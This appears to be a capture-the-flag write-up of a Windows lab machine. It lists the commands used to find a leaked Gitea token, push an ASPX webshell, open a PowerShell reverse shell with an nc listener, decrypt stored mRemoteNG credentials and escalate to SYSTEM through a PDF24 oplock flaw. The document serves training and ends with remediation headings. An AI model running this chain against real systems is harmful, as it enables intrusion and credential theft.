Server identified as ASP.NET. No obvious content on the main site.
lock.htbChecked headers:
curl -I http://lock.htb/
Server identified as ASP.NET. No obvious content on the main site.
Gitea was reachable at:
http://lock.htb:3000
Public repo dev-scripts contained a Python script and commit history.
Reviewed commit history and found a token:
git log
git show 8b78e6c3024416bce55926faa3f65421a25d6370
Enumerated repos with the token:
GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f python3 repos.py http://10.129.139.121:3000
Cloned the website repository:
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.139.121:3000/ellen.freeman/website.git
Added an ASPX webshell (webshell.aspx) from:
https://github.com/grov/webshell/blob/master/webshell-LT.aspx
Committed and pushed:
git add webshell.aspx
git commit -m "im a comment"
git push
Accessed:
http://lock.htb/webshell.aspx
Executed PowerShell reverse shell (revshells.com) and got a shell as elllen.freeman.
Listener:
rlwrap nc -lvnp 4444
Located config.xml:
type C:\Users\ellen.freeman\Documents\config.xml
Config contained an AES-encrypted password for Gale.Dekarios.
Decrypted with mRemoteNG tool:
git clone https://github.com/kmahyyg/mremoteng-decrypt.git
python3 mremoteng_decrypt.py -rf config.xml
Generated Kerberos config:
nxc smb 10.129.139.121 -u 'Gale.Dekarios' -p 'ty8wnW9qCKDosXo6' --generate-krb5-file /etc/krb5.conf
Connected via RDP:
xfreerdp3 /u:'Gale.Dekarios' /p:'ty8wnW9qCKDosXo6' /v:10.129.139.121 /size:1280x720 /tls:seclevel:0 /cert:ignore
User flag was retrieved via RDP.
PDF24 Creator version 11.15.1 was installed (v11.15.2 fixes the issue).
Used SetOpLock to lock the log file:
.\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
Started PDF24 repair; the SYSTEM cmd.exe window stayed open due to the oplock. Using the GUI flow, opened a cmd.exe as SYSTEM and gained a privileged shell.
Root flag:
type C:\Users\Administrator\Desktop\root.txt
User Flag: Retrieved via RDP (value not recorded in PDF)
Root Flag: Retrieved from C:\Users\Administrator\Desktop\root.txt
Remove Secrets from Git History
Harden CI/CD Deployments
Protect Remote Connection Managers
Patch PDF24 Creator
Restrict RDP Exposure